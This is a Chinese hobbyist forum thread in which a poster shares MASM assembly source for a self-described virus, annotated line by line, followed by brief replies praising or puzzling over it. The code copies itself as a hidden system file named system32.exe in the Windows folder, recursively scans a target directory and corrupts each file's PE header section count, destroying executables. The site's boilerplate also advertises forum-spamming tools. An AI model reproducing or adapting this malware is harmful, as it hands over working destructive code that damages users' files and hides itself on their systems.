梦殇国际

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 刷粉
月光下载 云刷粉软件 云刷粉网页 水贴机电脑版 安卓软件 梦殇导航(教程集合) 有任何问题请点击提问
查看: 3031|回复: 22
打印 上一主题 下一主题

[其他] 注释翻译汇编写的一个病毒代码

[复制链接]

229

帖子

3356

积分

5万

TBS

UID
549
积分
3356
TBS
51673
智商
1538
节操
1531
海贝
1
阅读权限
60
在线时间
147 小时
注册时间
2014-1-3
最后登录
2015-6-23
跳转到指定楼层
1
发表于 2014-7-1 17:30:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
  1. 代码是小生在某社区写的,我发现这个代码没有注释,他就是说了一下这个干什么用的.汇编没注释代码看不下去,于是花了一个小时给每一句添加注释和解析,如有错误还请指教 ,作用是破坏某文件下的文件的PE结构
复制代码
  1. .model flat,stdcall
  2. option casemap:none
  3. include windows.inc
  4. include user32.inc
  5. include kernel32.inc
  6. includelib kernel32.lib
  7. includelib kernel32.lib
  8. ;********************************************************************
  9. .data
  10. sz1 db 'D:\1\',0
  11. sz2 db '*.*',0
  12. sz3 db 32 dup(?)
  13. sz4 db 32 dup(?)
  14. sz5 db 'C:\windows\system32.exe',0
  15. p2  dd ?
  16. ;*************************小生写的一个病毒*******************************************
  17. .code
  18. _FindFile       proc        _lpszPath
  19.                         local   @stFindFile:WIN32_FIND_DATA                ;WIN32_FIND_DATA结构类型的变量,看意思就能看出来干嘛的了,寻找数据,然后存放数据信息(这里数据指的应该是文件的信息)
  20.                         local   @hFindFile
  21.                         local   @szPath[MAX_PATH]:byte                         ;路径大小为MAX_PATH也就是256字节的变量存储路径
  22.                         local   @szSearch[MAX_PATH]:byte
  23.                         local   @szFindFile[MAX_PATH]:byte
  24.                         pushad                                                              ;保存目前的寄存器值
  25.          invoke lstrcpy,addr @szPath,_lpszPath                           ;传进来的路径的指针复制给变量szPath
  26. ;**************************************梦殇·华丽注释******************************
  27.                         invoke  lstrlen,addr @szPath                          ;求出路径的长度
  28.                         lea     esi,@szPath                                         ;在一次把路径地址传给寄存器esi,为了使用伪指令
  29.                         add     esi,eax                                              ;路径的起始地址加线长得出路径的末尾地址交给esi
  30.                         xor     eax,eax                                           ;eax置0
  31.                         mov     al,'\'                                               ;给8位寄存器al赋值
  32.                         .if     byte ptr [esi-1] != al                            ;判断路径的尾部是不是 '\'(路径末尾地址中存放的值是不是\)
  33.                                 mov     word ptr [esi],ax                    ;不是的话就添加'\0',添加ax是因为ax的低八位是\ ax的高八位是0x00
  34.                         .endif
  35.                         invoke  lstrcpy,addr @szSearch,addr @szPath                      ;路径复制给szSearch这个变量的地址中
  36.                         invoke  lstrcat,addr @szSearch,addr sz2                ;连接字符串,把传进来的路径连接全局变量'*.*'意思是扫目标路径下的全部文


  37. ;***********************************梦殇·华丽注释*********************************
  38. invoke      FindFirstFile,addr @szSearch,addr @stFindFile                ;寻找第一个文件返回文件句柄,并置文件的信息结构于变量@stFindFile
  39. .if         eax !=  INVALID_HANDLE_VALUE                                      ;如果寻找到的不是无效的句柄,也就是寻找成功的话
  40.                 mov     @hFindFile,eax                                                   ;取到返回的文件句柄
  41.                 .repeat
  42.                         invoke  lstrcpy,addr @szFindFile,addr @szPath                ;路径复制给变量@szFindFile,这个变量就是上边那个 'XXX路径\'
  43.                         invoke   lstrcat,addr @szFindFile,addr @stFindFile.cFileName        ;再让路径连接找到的文件名称'XXX\路径\找到的文件'
  44.                         .if     @stFindFile.dwFileAttributes  & FILE_ATTRIBUTE_DIRECTORY        ;判断找到的文件的属性是不是目录,位与操作如果
  45. 是目录的话1 & 1肯定是1 是1就进入判断
  46.                                 .if     @stFindFile.cFileName != '.'                            ;一个.表示是不是上一级目录,俩个..表示根目录,这里我也忘了是不
  47. 是这个意思
  48.                                         invoke  _FindFile,addr @szFindFile                   ;是目录的话就递归调用,文件的寻找大部分都是递归
  49.                                 .endif
  50.                         .else                                                   ;不是目录是文件的情况下
  51.    invoke lstrcpy,offset sz3,addr @szFindFile                ;拷贝目录给sz3(sz3是32字节大小的,我不知道他为何不给一个MAX_PATH)
  52.                         call ww1                                             ;修改PE,这个函数在下边讲解
  53.                         .endif
  54.                         invoke  FindNextFile,@hFindFile,addr @stFindFile                ;寻找下一个文件,和上边那个东东用法一样
  55.             .until  eax == FALSE                         ;直到找不到下一个文件,也就是照完了的情况下退出循环
  56.             invoke  FindClose,@hFindFile            ;寻找完后关闭文件句柄
  57. .endif
  58. ;************************************梦殇·华丽注释********************************
  59.                     popad                        ;出栈寄存器,恢复值
  60.                     ret
  61. _FindFile       endp

  62. ww1 proc
  63.         LOCAL file:OPENFILENAME                ;修改PE肯定先要打开一个文件,那么就先定义一个这么样的结构变量
  64.         LOCAL h1,l1,p1,s1                           ;名字敢不敢叫的再奇葩点
  65.         invoke CreateFile,offset sz3,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL                                                                     ;sz3在遍历目录的时候已经赋值了,值就是目标感染程序名称,打开这个文件获取权限为可读可写,返回的是文件对象的句柄
  66.         mov h1,eax                                 ;文件句柄交给h1
  67.         invoke GetFileSize,eax,NULL        ;获取文件大小
  68.         mov l1,eax                                 ;大小交给l1
  69.         ;开始最重要的部分
  70.         invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE        ;申请内存空间,参数0表示系统决定新的内存块的位置,eax是分配内存的大小,等于文件的大小,并设置该内存页是可读可写的权限
  71.         mov p1,eax                                                               ;上边那个函数返回分配到的新的内存块的指针,交给p1
  72.         invoke RtlZeroMemory,eax,l1                                     ;新内存块填0,相当于初始化一下
  73.         invoke ReadFile,h1,p1,l1,offset p2,NULL                      ;h1是目标文件的句柄,把读到的数据保存到缓冲区p1,p1就是刚才申请的新的内存块,11是读入的字节数,读入11字节(由于是简单的修改PE)p2是个32位的双字型指针,他保存了实际读到的字节数
  74.         mov esi,p1                                                                ;现在新的内存块有了数据,把他转移给寄存器esi,此时esi就是程序的装入地址,因为系统装载程序就是从新的内存地址中开始装入的
  75.         assume esi:ptr IMAGE_DOS_HEADER                         ;关联DOS头,此时寄存器esi指向文件dos头地址
  76.         mov eax,[esi].e_lfanew                                         ;然后使用esi根据dos头的结构的字段e_lfanew获取PE头,此时eax就指向了PE头
  77.         mov ecx,eax                                                       ;pe头指针给ecx
  78.         add esi,eax                 ;此时的地址是RVA地址(我凑这个是很重要的概念),rva地址是偏移地址,所以再加装载地址得到了PE头的真正地址
  79.         assume esi:ptr IMAGE_NT_HEADERS                                     ;得到PE头的真正地址后关联PE头结构,esi是指向PE头的指针
  80.         movzx eax,[esi].FileHeader.NumberOfSections                        ;接下来就要到PE的节了,首先根据PE头结构中的字段获取节数目给eax
  81.         inc eax                                                                              ;节数目(eax)自增1节表数=节数,破坏PE结构的节数
  82.         ;dec eax
  83.         mov s1,eax                                                      ;节表数交给s1
  84.         add ecx,6                                                        ;ecx+6由于PE头结构里面有一个字段还嵌套一个结构,+6后刚好是指向节数的地址
  85.         invoke SetFilePointer,h1,ecx,NULL,FILE_BEGIN                ;设置欲要读写的指针的位置指向文件开始处,目标是目标文件的句柄,这个函数读写位置不是真正的地址,而是一个相当于PE头地址的偏移地址,所以插入ecx这个偏移地址,指针移动到节的地址
  86.         invoke WriteFile,h1,addr s1,2,offset p2,0                          ;设置好指针后就开始写,2是要写入的长度2,p2是实际写入的数量,写入的数据是s1这样就改变了PE的节达到破坏PE程序的目的(这个地方说错了还请指教)
  87.         invoke CloseHandle,h1                                      ;关闭文件对象句柄
  88.         ret
  89. ww1 endp
  90. ;*************************************梦殇·华丽注释*******************************
  91. run proc                                                                               ;初始化的操作
  92.         invoke GetModuleHandle,NULL                                      ;获取模块句柄
  93.         invoke GetModuleFileName,NULL,offset sz4,32                ;获取模块名存放在缓存sz4中,缓存大小是32
  94.         invoke CopyFile,offset sz4,offset sz5,FALSE                     ;自身拷贝,做木马副本
  95.         invoke SetFileAttributes,offset sz5,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM        ;设置文件属性,隐藏文件并设置为系统级文件
  96.         ret
  97. run endp
  98. ;*************************************梦殇·华丽注释*******************************
  99. start:
  100.         call run                        ;初始化
  101.         lea eax,offset sz1        ;目标感染文件是D:\1\,复制给寄存器eax
  102.         push eax                    ;把他入栈保存起来
  103.         call _FindFile                ;开始遍历目录并逐一感染
  104. ;********************************************************************
  105. end start
复制代码



全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复

使用道具 举报

541

帖子

99

积分

24

TBS

UID
42938
积分
99
TBS
24
智商
508
节操
498
海贝
23
阅读权限
20
在线时间
34 小时
注册时间
2015-3-7
最后登录
2016-5-9
23
发表于 2015-5-29 17:58:46 | 只看该作者
好高端的样子啊
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

541

帖子

99

积分

24

TBS

UID
42938
积分
99
TBS
24
智商
508
节操
498
海贝
23
阅读权限
20
在线时间
34 小时
注册时间
2015-3-7
最后登录
2016-5-9
22
发表于 2015-5-29 17:56:49 | 只看该作者
好高端的样子啊
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

127

帖子

41

积分

109

TBS

UID
57688
积分
41
TBS
109
智商
184
节操
177
海贝
18
阅读权限
0
在线时间
12 小时
注册时间
2015-5-25
最后登录
2016-6-8
21
发表于 2015-5-29 17:52:51 | 只看该作者
大神给跪了
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

2736

帖子

561

积分

843

TBS

UID
46206
积分
561
TBS
843
智商
3741
节操
3296
海贝
81
阅读权限
40
在线时间
121 小时
注册时间
2015-3-24
最后登录
2016-8-23
20
发表于 2015-5-2 21:10:44 | 只看该作者
这都什么鬼
来自安卓客户端来自安卓客户端
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

255

帖子

35

积分

1

TBS

UID
50116
积分
35
TBS
1
智商
212
节操
209
海贝
12
阅读权限
0
在线时间
7 小时
注册时间
2015-4-18
最后登录
2016-1-20
19
发表于 2015-4-19 10:20:42 | 只看该作者
能不能教我
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

102

帖子

39

积分

8

TBS

UID
17395
积分
39
TBS
8
智商
140
节操
145
海贝
24
阅读权限
0
在线时间
18 小时
注册时间
2014-8-22
最后登录
2015-11-13
18
发表于 2015-4-7 19:19:49 爪机党 | 只看该作者
基本看懂了
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

455

帖子

81

积分

-21

TBS

UID
35214
积分
81
TBS
-21
智商
373
节操
354
海贝
26
阅读权限
20
在线时间
34 小时
注册时间
2015-2-2
最后登录
2016-1-19
17
发表于 2015-2-25 12:22:10 | 只看该作者

= = 好厉害。
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复

使用道具 举报

332

帖子

114

积分

48

TBS

UID
19853
积分
114
TBS
48
智商
476
节操
471
海贝
68
阅读权限
20
在线时间
33 小时
注册时间
2014-9-27
最后登录
2017-3-29
16
发表于 2014-10-12 15:23:50 | 只看该作者
这么一长串的代码啊
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

300

帖子

0

积分

326

TBS

UID
20583
积分
0
TBS
326
智商
316
节操
332
海贝
0
阅读权限
0
在线时间
22 小时
注册时间
2014-10-4
最后登录
2015-4-9
15
发表于 2014-10-5 19:35:05 | 只看该作者
表示没看懂这是干嘛的
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

GMT+8, 2024-11-27 19:16,Processed in 0.054080 second(s), 44 queries.

Powered by Discuz!X3.4© 2001-2013 Comsenz Inc. 手机版|黑名单|站点地图|RGB转16进制|梦殇国际 MSI

贴吧交流群:172119290 | 编程交流群:232677917 | 官方YY频道:13234704 | 本站所有软件仅供学习交流使用!

工信部备案:赣ICP备14004172号-1 | 如有需要请联系 邮箱:541641237#qq.com (点击发邮件)

快速回复 返回顶部 返回列表